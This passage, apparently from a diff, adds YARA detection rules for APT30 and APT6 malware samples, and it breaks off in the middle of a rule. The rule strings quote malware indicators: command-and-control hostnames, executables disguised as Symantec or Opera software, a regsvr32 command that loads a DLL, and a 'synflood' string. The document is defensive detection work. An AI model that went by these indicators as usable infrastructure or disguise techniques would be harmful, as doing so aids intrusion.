+		description = "FireEye APT30 Report Sample - file 78c4fcee5b7fdbabf3b9941225d95166"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "d315daa61126616a79a8582145777d8a1565c615"
+	strings:
+		$s0 = "Service.dll" fullword ascii
+		$s1 = "(%s:%s %s)" fullword ascii
+		$s2 = "%s \"%s\",%s %s" fullword ascii
+		$s5 = "Proxy-%s:%u" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_22 {
+	meta:
+		description = "FireEye APT30 Report Sample - file fad06d7b4450c4631302264486611ec3"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "0d17a58c24753e5f8fd5276f62c8c7394d8e1481"
+	strings:
+		$s1 = "(\\TEMP" fullword ascii
+		$s2 = "Windows\\Cur" fullword ascii
+		$s3 = "LSSAS.exeJ" fullword ascii
+		$s4 = "QC:\\WINDOWS" fullword ascii
+		$s5 = "System Volume" fullword ascii
+		$s8 = "PROGRAM FILE" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_F {
+	meta:
+		description = "FireEye APT30 Report Sample - file 4c10a1efed25b828e4785d9526507fbc"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "09010917cd00dc8ddd21aeb066877aa2"
+		hash2 = "4c10a1efed25b828e4785d9526507fbc"
+		hash3 = "b7b282c9e3eca888cbdb5a856e07e8bd"
+		hash4 = "df1799845b51300b03072c6569ab96d5"
+	strings:
+		$s0 = "\\~zlzl.exe" fullword ascii
+		$s2 = "\\Internet Exp1orer" fullword ascii
+		$s3 = "NodAndKabIsExcellent" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_23 {
+	meta:
+		description = "FireEye APT30 Report Sample - file a5ca2c5b4d8c0c1bc93570ed13dcab1a"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "9865e24aadb4480bd3c182e50e0e53316546fc01"
+	strings:
+		$s0 = "hostid" ascii
+		$s1 = "\\Window" ascii
+		$s2 = "%u:%u%s" fullword ascii
+		$s5 = "S2tware\\Mic" ascii
+		$s6 = "la/4.0 (compa" ascii
+		$s7 = "NameACKernel" fullword ascii
+		$s12 = "ToWideChc[lo" fullword ascii
+		$s14 = "help32SnapshotfL" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_24 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 062fe1336459a851bd0ea271bb2afe35"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "572caa09f2b600daa941c60db1fc410bef8d1771"
+	strings:
+		$s1 = "dizhi.gif" fullword ascii
+		$s3 = "Mozilla/4.0" fullword ascii
+		$s4 = "lyeagles" fullword ascii
+		$s6 = "HHOSTR" ascii
+		$s7 = "#MicrosoftHaveAck7" ascii
+		$s8 = "iexplore." fullword ascii
+		$s17 = "ModuleH" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_25 {
+	meta:
+		description = "FireEye APT30 Report Sample - file c4c068200ad8033a0f0cf28507b51842"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "44a21c8b3147fabc668fee968b62783aa9d90351"
+	strings:
+		$s1 = "C:\\WINDOWS" fullword ascii
+		$s2 = "aragua" fullword ascii
+		$s4 = "\\driver32\\7$" fullword ascii
+		$s8 = "System V" fullword ascii
+		$s9 = "Compu~r" fullword ascii
+		$s10 = "PROGRAM L" fullword ascii
+		$s18 = "GPRTMAX" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_26 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 428fc53c84e921ac518e54a5d055f54a"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "e26588113417bf68cb0c479638c9cd99a48e846d"
+	strings:
+		$s1 = "forcegue" fullword ascii
+		$s3 = "Windows\\Cur" fullword ascii
+		$s4 = "System Id" fullword ascii
+		$s5 = "Software\\Mic" fullword ascii
+		$s6 = "utiBy0ToWideCh&$a" fullword ascii
+		$s10 = "ModuleH" fullword ascii
+		$s15 = "PeekNamed6G" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_D {
+	meta:
+		description = "FireEye APT30 Report Sample - file 597805832d45d522c4882f21db800ecf"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "35dfb55f419f476a54241f46e624a1a4"
+		hash2 = "4fffcbdd4804f6952e0daf2d67507946"
+		hash3 = "597805832d45d522c4882f21db800ecf"
+		hash4 = "6bd422d56e85024e67cc12207e330984"
+		hash5 = "82e13f3031130bd9d567c46a9c71ef2b"
+		hash6 = "b79d87ff6de654130da95c73f66c15fa"
+	strings:
+		$s0 = "Windows Security Service Feedback" fullword wide
+		$s1 = "wssfmgr.exe" fullword wide
+		$s2 = "\\rb.htm" fullword ascii
+		$s3 = "rb.htm" fullword ascii
+		$s4 = "cook5" ascii
+		$s5 = "5, 4, 2600, 0" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_27 {
+	meta:
+		description = "FireEye APT30 Report Sample - file d38e02eac7e3b299b46ff2607dd0f288"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "959573261ca1d7e5ddcd19447475b2139ca24fe1"
+	strings:
+		$s0 = "Mozilla/4.0" fullword ascii
+		$s1 = "dizhi.gif" fullword ascii
+		$s5 = "oftHaveAck+" ascii
+		$s10 = "HlobalAl" fullword ascii
+		$s13 = "$NtRND1$" fullword ascii
+		$s14 = "_NStartup" fullword ascii
+		$s16 = "GXSYSTEM" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_28 {
+	meta:
+		description = "FireEye APT30 Report Sample - file e62a63307deead5c9fcca6b9a2d51fb0"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "e62a63307deead5c9fcca6b9a2d51fb0"
+		hash2 = "5b590798da581c894d8a87964763aa8b"
+	strings:
+		$s0 = "www.flyeagles.com" fullword ascii
+		$s1 = "iexplore.exe" fullword ascii
+		$s2 = "www.km-nyc.com" fullword ascii
+		$s3 = "cmdLine.exe" fullword ascii
+		$s4 = "Software\\Microsoft\\CurrentNetInf" fullword ascii
+		$s5 = "/dizhi.gif" ascii
+		$s6 = "/connect.gif" ascii
+		$s7 = "USBTest.sys" fullword ascii
+		$s8 = "/ver.htm" fullword ascii
+		$s11 = "\\netscv.exe" fullword ascii
+		$s12 = "/app.htm" fullword ascii
+		$s13 = "\\netsvc.exe" fullword ascii
+		$s14 = "/exe.htm" fullword ascii
+		$s18 = "MicrosoftHaveAck" fullword ascii
+		$s19 = "MicrosoftHaveExit" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and 7 of them
+}
+
+rule APT30_Sample_29 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 1b81b80ff0edf57da2440456d516cc90"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "44492c53715d7c79895904543843a321491cb23a"
+	strings:
+		$s0 = "LSSAS.exe" fullword ascii
+		$s1 = "Software\\Microsoft\\FlashDiskInf" fullword ascii
+		$s2 = ".petite" fullword ascii
+		$s3 = "MicrosoftFlashExit" fullword ascii
+		$s4 = "MicrosoftFlashHaveExit" fullword ascii
+		$s5 = "MicrosoftFlashHaveAck" fullword ascii
+		$s6 = "\\driver32" fullword ascii
+		$s7 = "MicrosoftFlashZJ" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_30 {
+	meta:
+		description = "FireEye APT30 Report Sample - file bf8616bbed6d804a3dea09b230c2ab0c"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "3b684fa40b4f096e99fbf535962c7da5cf0b4528"
+	strings:
+		$s0 = "5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)" fullword wide
+		$s3 = "RnhwtxtkyLRRMf{jJ}ny" fullword ascii
+		$s4 = "RnhwtxtkyLRRJ}ny" fullword ascii
+		$s5 = "ZRLDownloadToFileA" fullword ascii
+		$s9 = "5.1.2600.2180" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_31 {
+	meta:
+		description = "FireEye APT30 Report Sample - file d8e68db503f4155ed1aeba95d1f5e3e4"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "8b4271167655787be1988574446125eae5043aca"
+	strings:
+		$s0 = "\\ZJRsv.tem" fullword ascii
+		$s1 = "forceguest" fullword ascii
+		$s4 = "\\$NtUninstallKB570317$" fullword ascii
+		$s8 = "[Can'tGetIP]" fullword ascii
+		$s14 = "QWERTY:,`/" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_J {
+	meta:
+		description = "FireEye APT30 Report Sample - file baff5262ae01a9217b10fcd5dad9d1d5"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash1 = "49aca228674651cba776be727bdb7e60"
+		hash2 = "5c7a6b3d1b85fad17333e02608844703"
+		hash3 = "649fa64127fef1305ba141dd58fb83a5"
+		hash4 = "9982fd829c0048c8f89620691316763a"
+		hash5 = "baff5262ae01a9217b10fcd5dad9d1d5"
+		hash6 = "9982fd829c0048c8f89620691316763a"
+	strings:
+		$s0 = "Launcher.EXE" fullword wide
+		$s1 = "Symantec Security Technologies" fullword wide
+		$s2 = "\\Symantec LiveUpdate.lnk" fullword ascii
+		$s3 = "Symantec Service Framework" fullword wide
+		$s4 = "\\ccSvcHst.exe" fullword ascii
+		$s5 = "\\wssfmgr.exe" fullword ascii
+		$s6 = "Symantec Corporation" fullword wide
+		$s7 = "\\5.1.0.29" fullword ascii
+		$s8 = "\\Engine" fullword ascii
+		$s9 = "Copyright (C) 2000-2010 Symantec Corporation. All rights reserved." fullword wide
+		$s10 = "Symantec LiveUpdate" fullword ascii
+		$s11 = "\\Norton360" fullword ascii
+		$s15 = "BinRes" fullword ascii
+		$s16 = "\\readme.lz" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Microfost {
+	meta:
+		description = "FireEye APT30 Report Sample - file 310a4a62ba3765cbf8e8bbb9f324c503"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "57169cb4b8ef7a0d7ebd7aa039d1a1efd6eb639e"
+	strings:
+		$s1 = "Copyright (c) 2007 Microfost All Rights Reserved" fullword wide
+		$s2 = "Microfost" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_K {
+	meta:
+		description = "FireEye APT30 Report Sample - file b5a343d11e1f7340de99118ce9fc1bbb"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "142bc01ad412799a7f9ffed994069fecbd5a2f93"
+	strings:
+		$x1 = "Maybe a Encrypted Flash" fullword ascii
+	
+		$s0 = "C:\\Program Files\\Common Files\\System\\wab32" fullword ascii
+		$s1 = "\\TEMP\\" fullword ascii
+		$s2 = "\\Temporary Internet Files\\" fullword ascii
+		$s5 = "%s Size:%u Bytes" fullword ascii
+		$s7 = "$.DATA$" fullword ascii
+		$s10 = "? Size:%u By s" fullword ascii
+		$s12 = "Maybe a Encrypted Flash" fullword ascii
+		$s14 = "Name:%-32s" fullword ascii
+		$s15 = "NickName:%-32s" fullword ascii
+		$s19 = "Email:%-32s" fullword ascii
+		$s21 = "C:\\Prog" ascii
+		$s22 = "$LDDATA$" ascii
+		$s31 = "Copy File %s OK!" fullword ascii
+		$s32 = "%s Space:%uM,FreeSpace:%uM" fullword ascii
+		$s34 = "open=%s" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and ( all of ($x*) and 3 of ($s*) )
+}
+
+rule APT30_Sample_33 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 5eaf3deaaf2efac92c73ada82a651afe"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "72c568ee2dd75406858c0294ccfcf86ad0e390e4"
+	strings:
+		$s0 = "Version 4.7.3001" fullword wide
+		$s1 = "msmsgr.exe" fullword wide
+		$s2 = "MYUSER32.dll" fullword ascii
+		$s3 = "MYADVAPI32.dll" fullword ascii
+		$s4 = "CeleWare.NET1" fullword ascii
+		$s6 = "MYMSVCRT.dll" fullword ascii
+		$s7 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the" wide
+		$s8 = "WWW.CeleWare.NET1" ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and 6 of them
+}
+
+rule APT30_Sample_34 {
+	meta:
+		description = "FireEye APT30 Report Sample - file a9e8e402a7ee459e4896d0ba83543684"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "216868edbcdd067bd2a9cce4f132d33ba9c0d818"
+	strings:
+		$s0 = "dizhi.gif" ascii
+		$s1 = "eagles.vip.nse" ascii
+		$s4 = "o%S:S0" ascii
+		$s5 = "la/4.0" ascii
+		$s6 = "s#!<4!2>s02==<'s1" ascii
+		$s7 = "HlobalAl" ascii
+		$s9 = "vcMicrosoftHaveAck7"  ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_35 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 414854a9b40f7757ed7bfc6a1b01250f"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "df48a7cd6c4a8f78f5847bad3776abc0458499a6"
+	strings:
+		$s0 = "WhBoyIEXPLORE.EXE.exe" fullword ascii
+		$s5 = "Startup>A" fullword ascii
+		$s18 = "olhelp32Snapshot" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Sample_1 {
+	meta:
+		description = "FireEye APT30 Report Sample - file 4c6b21e98ca03e0ef0910e07cef45dac"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		hash = "8cea83299af8f5ec6c278247e649c9d91d4cf3bc"
+	strings:
+		$s0 = "#hostid" fullword ascii
+		$s1 = "\\Windows\\C" ascii
+		$s5 = "TimUmove" fullword ascii
+		$s6 = "Moziea/4.0 (c" fullword ascii
+		$s7 = "StartupNA" fullword ascii
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_1 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 08b54f9b2b3fb19e388d390d278f3e44, 11876eaadeac34527c28f4ddfadd1e8d, 28f2396a1e306d05519b97a3a46ee925, 80e39b656f9a77503fa3e6b7dd123ee3, d591dc11ecffdfaf1626c1055417a50d, 8e2eee994cd1922e82dea58705cc9631, e9e514f8b1561011b4f034263c33a890"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "aaa5c64200ff0818c56ebe4c88bcc1143216c536"
+		hash1 = "cb4263cab467845dae9fae427e3bbeb31c6a14c2"
+		hash2 = "b69b95db8a55a050d6d6c0cba13d73975b8219ca"
+		hash3 = "5c29e21bbe8873778f9363258f5e570dddcadeb9"
+		hash4 = "d5cb07d178963f2dea2c754d261185ecc94e09d6"
+		hash5 = "626dcdd7357e1f8329e9137d0f9883f57ec5c163"
+		hash6 = "843997b36ed80d3aeea3c822cb5dc446b6bfa7b9"
+	strings:
+		$s0 = "%s\\%s.txt" fullword
+		$s1 = "\\ldsysinfo.txt" fullword
+		$s4 = "(Extended Wansung)" fullword
+		$s6 = "Computer Name:" fullword
+		$s7 = "%s %uKB %04u-%02u-%02u %02u:%02u" fullword
+		$s8 = "ASSAMESE" fullword
+		$s9 = "BELARUSIAN" fullword
+		$s10 = "(PR China)" fullword
+		$s14 = "(French)" fullword
+		$s15 = "AdvancedServer" fullword
+		$s16 = "DataCenterServer" fullword
+		$s18 = "(Finland)" fullword
+		$s19 = "%s %04u-%02u-%02u %02u:%02u" fullword
+		$s20 = "(Chile)" fullword
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+rule APT30_Generic_2 {
+	meta:
+		description = "FireEye APT30 Report Sample - from many files"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "aba8b9fa213e5e2f1f0404d13fecc20ea8651b57"
+		hash1 = "7f11f5c9475240e5dd2eea7726c9229972cffc1f"
+		hash2 = "94d3f91d1e50ecea729617729013c3d143bf2c3e"
+		hash3 = "7e516ec04f28c76d67b8111ddfe58bbd628362cc"
+		hash4 = "6b27bc0b0460b0a25b45d897ed4f399106c284d9"
+		hash5 = "6df5b4b3da0964153bad22fb1f69483ae8316655"
+		hash6 = "b68bce61dfd8763c3003480ba4066b3cb1ef126e"
+		hash7 = "cc124682246d098740cfa7d20aede850d49b6597"
+		hash8 = "1ef415bca310575944934fc97b0aa720943ba512"
+		hash9 = "0559ab9356dcc869da18b2c96f48b76478c472b3"
+		hash10 = "f15272042a4f9324ad5de884bd50f4072f4bdde3"
+		hash11 = "1d93d5f5463cdf85e3c22c56ed1381957f4efaac"
+		hash12 = "b6f1fb0f8a2fb92a3c60e154f24cfbca1984529f"
+		hash13 = "9967a99a1b627ddb6899919e32a0f544ea498b48"
+		hash14 = "95a3c812ca0ad104f045b26c483495129bcf37ca"
+		hash15 = "bde9a72b2113d18b4fa537cc080d8d8ba1a231e8"
+		hash16 = "ce1f53e06feab1e92f07ed544c288bf39c6fce19"
+		hash17 = "72dae031d885dbf492c0232dd1c792ab4785a2dc"
+		hash18 = "a2ccba46e40d0fb0dd3e1dba160ecbb5440862ec"
+		hash19 = "c8007b59b2d495029cdf5b7b8fc8a5a1f7aa7611"
+		hash20 = "9c6f470e2f326a055065b2501077c89f748db763"
+		hash21 = "af3e232559ef69bdf2ee9cd96434dcec58afbe5a"
+		hash22 = "e72e67ba32946c2702b7662c510cc1242cffe802"
+		hash23 = "8fc0b1618b61dce5f18eba01809301cb7f021b35"
+		hash24 = "6a8159da055dac928ba7c98ea1cdbe6dfb4a3c22"
+		hash25 = "47463412daf0b0a410d3ccbb7ea294db5ff42311"
+		hash26 = "e6efa0ccfddda7d7d689efeb28894c04ebc72be2"
+		hash27 = "43a3fc9a4fee43252e9a570492e4efe33043e710"
+		hash28 = "7406ebef11ca9f97c101b37f417901c70ab514b1"
+		hash29 = "53ed9b22084f89b4b595938e320f20efe65e0409"
+	strings:
+		$s0 = "%s\\%s\\KB985109.log" fullword
+		$s1 = "%s\\%s\\KB989109.log" fullword
+		$s2 = "Opera.exe" fullword wide
+		$s3 = "%s:All online success on %u!" fullword
+		$s4 = "%s:list online success on %u!" fullword
+		$s5 = "%s:All online fail!" fullword
+		$s6 = "Copyright Opera Software 1995-" fullword wide
+		$s7 = "%s:list online fail!" fullword
+		$s8 = "OnlineTmp.txt" fullword
+		$s9 = "Opera Internet Browser" fullword wide
+		$s12 = "Opera Software" fullword wide
+		$s15 = "Check lan have done!!!" fullword
+		$s16 = "List End." fullword
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_3 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 6e689351d94389ac6fdc341b859c7f6f, a813eba27b2166620bd75029cc1f04b0, b4ae0004094b37a40978ef06f311a75e"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "b90ac3e58ed472829e2562023e6e892d2d61ac44"
+		hash1 = "342036ace2e9e6d504b0dec6399e4fa92de46c12"
+		hash2 = "5cdf397dfd9eb66ff5ff636777f6982c1254a37a"
+	strings:
+		$s0 = "Acrobat.exe" fullword wide
+		$s14 = "********************************" fullword
+		$s16 = "FFFF:>>>>>>>>>>>>>>>>>@" fullword
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_4 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 021e134c48cd9ce9eaf6a1c105197e5d, 7c307ca84f922674049c0c43ca09bec1, b8617302180d331e197cc0433fc5023d, e6289e7f9f26be692cbe6f335a706014"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "bb390f99bfde234bbed59f6a0d962ba874b2396c"
+		hash1 = "b47e20ac5889700438dc241f28f4e224070810d2"
+		hash2 = "a9a50673ac000a313f3ddba55d63d9773b9f4143"
+		hash3 = "ac96d7f5957aef09bd983465c497de24c6d17a92"
+	strings:
+		$s0 = "del NetEagle_Scout.bat" fullword
+		$s1 = "NetEagle_Scout.bat" fullword
+		$s2 = "\\visit.exe" fullword
+		$s3 = "\\System.exe" fullword
+		$s4 = "\\System.dat" fullword
+		$s5 = "\\ieupdate.exe" fullword
+		$s6 = "GOTO ERROR" fullword
+		$s7 = ":ERROR" fullword
+		$s9 = "IF EXIST " fullword
+		$s10 = "ioiocn" fullword
+		$s11 = "SetFileAttribute" fullword
+		$s12 = "le_0*^il" fullword
+		$s13 = "le_.*^il" fullword
+		$s14 = "le_-*^il" fullword
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_5 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 592381dfa14e61bce089cd00c9b118ae, b493ad490b691b8732983dcca8ea8b6f, b83d43e3b2f0b0a0e5cc047ef258c2cb"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "cb4833220c508182c0ccd4e0d5a867d6c4e675f8"
+		hash1 = "dfc9a87df2d585c479ab02602133934b055d156f"
+		hash2 = "bf59d5ff7d38ec5ffb91296e002e8742baf24db5"
+	strings:
+		$s0 = "regsvr32 /s \"%ProgramFiles%\\Norton360\\Engine\\5.1.0.29\\ashelper.dll\"" fullword
+		$s1 = "name=\"ftpserver.exe\"/>" fullword
+		$s2 = "LiveUpdate.EXE" fullword wide
+		$s3 = "<description>FTP Explorer</description>" fullword
+		$s4 = "\\ashelper.dll" fullword
+		$s5 = "LiveUpdate" fullword wide
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_6 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 168d207d0599ed0bb5bcfca3b3e7a9d3, 1e6ee89fddcf23132ee12802337add61, 5dd625af837e164dd2084b1f44a45808"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "b9aafb575d3d1732cb8fdca5ea226cebf86ea3c9"
+		hash1 = "2c5e347083b77c9ead9e75d41e2fabe096460bba"
+		hash2 = "5d39a567b50c74c4a921b5f65713f78023099933"
+	strings:
+		$s0 = "GetStar" fullword
+		$s1 = ".rdUaS" fullword
+		$s2 = "%sOTwp/&A\\L" fullword
+		$s3 = "a Encrt% Flash Disk" fullword
+		$s4 = "ypeAutoRuChec" fullword
+		$s5 = "NoDriveT" fullword
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_7 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 853a20f5fc6d16202828df132c41a061, 9c0cad1560cd0ffe2aa570621ef7d0a0, b590c15499448639c2748ff9e0d214b2"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "2415f661046fdbe3eea8cd276b6f13354019b1a6"
+		hash1 = "e814914079af78d9f1b71000fee3c29d31d9b586"
+		hash2 = "0263de239ccef669c47399856d481e3361408e90"
+	strings:
+		$s1 = "Xjapor_*ata" fullword
+		$s2 = "Xjapor_o*ata" fullword
+		$s4 = "Ouopai" fullword
+	condition:
+		filesize < 100KB and uint16(0) == 0x5A4D and all of them
+}
+rule APT30_Generic_8 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 7c307ca84f922674049c0c43ca09bec1, b8617302180d331e197cc0433fc5023d, e6289e7f9f26be692cbe6f335a706014"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "b47e20ac5889700438dc241f28f4e224070810d2"
+		hash1 = "a9a50673ac000a313f3ddba55d63d9773b9f4143"
+		hash2 = "ac96d7f5957aef09bd983465c497de24c6d17a92"
+	strings:
+		$s0 = "Windows NT4.0" fullword
+		$s1 = "Windows NT3.51" fullword
+		$s2 = "%d;%d;%d;%ld;%ld;%ld;" fullword
+		$s3 = "%s %d.%d Build%d %s" fullword
+		$s4 = "MSAFD Tcpip [TCP/IP]" fullword
+		$s5 = "SQSRSS" fullword
+		$s8 = "WM_COMP" fullword
+		$s9 = "WM_MBU" fullword
+		$s11 = "WM_GRID" fullword
+		$s12 = "WM_RBU" fullword
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
+rule APT30_Generic_9 {
+	meta:
+		description = "FireEye APT30 Report Sample - from files 0cdc35ffc222a714ee138b57d29c8749, 10aa368899774463a355f1397e6e5151, 3166baffecccd0934bdc657c01491094, d28d67b4397b7ce1508d10bf3054ffe5"
+		author = "Florian Roth"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		date = "2015/04/13"
+		super_rule = 1
+		hash0 = "00d9949832dc3533592c2ce06a403ef19deddce9"
+		hash1 = "27a2b981d4c0bb8c3628bfe990db4619ddfdff74"
+		hash2 = "05f66492c163ec2a24c6a87c7a43028c5f632437"
+		hash3 = "263f094da3f64e72ef8dc3d02be4fb33de1fdb96"
+	strings:
+		$s0 = "%s\\%s\\$NtRecDoc$" fullword
+		$s1 = "%s(%u)%s" fullword
+		$s2 = "http://%s%s%s" fullword
+		$s3 = "1.9.1.17" fullword wide
+		$s4 = "(C)Firefox and Mozilla Developers, according to the MPL 1.1/GPL 2.0/LGPL" wide
+	condition:
+		filesize < 250KB and uint16(0) == 0x5A4D and all of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-09
+	Identifier: APT 6 Malware
+*/
+
+rule APT6_Malware_Sample_Gen {
+	meta:
+		description = "Rule written for 2 malware samples that communicated to APT6 C2 servers"
+		author = "Florian Roth"
+		reference = "https://otx.alienvault.com/pulse/56c4d1664637f26ad04e5b73/"
+		date = "2016-04-09"
+		score = 80
+		hash1 = "321ec239bfa6927d39155ef5f10741ed786219489bbbb1dc8fee66e22f9f8e80"
+		hash2 = "7aef130b19d1f940e4c4cee6efe0f190f1402d2e0f741ee605c77518a04cb6d7"
+	strings:
+		/* Specific strings from samples */
+		$x1 = "SystemPropertiesRemote.exe" fullword ascii
+		$x2 = "SPCK!it is a [(?riddle?) wrapped in a {mystery}] inside an <enigma>!" fullword ascii
+		$x3 = "636C7369643A46334430443336462D323346382D343638322D413139352D373443393242303344344146" fullword ascii
+
+		/* Malware Strings */
+		$s1 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" fullword ascii
+		$s2 = "DUMPTHIN" fullword ascii
+		$s3 = "\"C:\\WINDOWS\\system32\\" fullword ascii
+		$s4 = "window.eval(f.decodeURIComponent(a));" fullword ascii
+		$s5 = "/tbedrs.dll" fullword ascii
+		$s6 = "NSISDL/1.2 (Mozilla)" fullword ascii
+		$s7 = "NSIS_Inetc (Mozilla)" fullword ascii
+		$s8 = "/logos.gif" fullword ascii
+		$s9 = "synflood" fullword ascii
+		$s10 = "IconFile=C:\\WINDOWS\\system32\\SHELL32.dll" fullword ascii
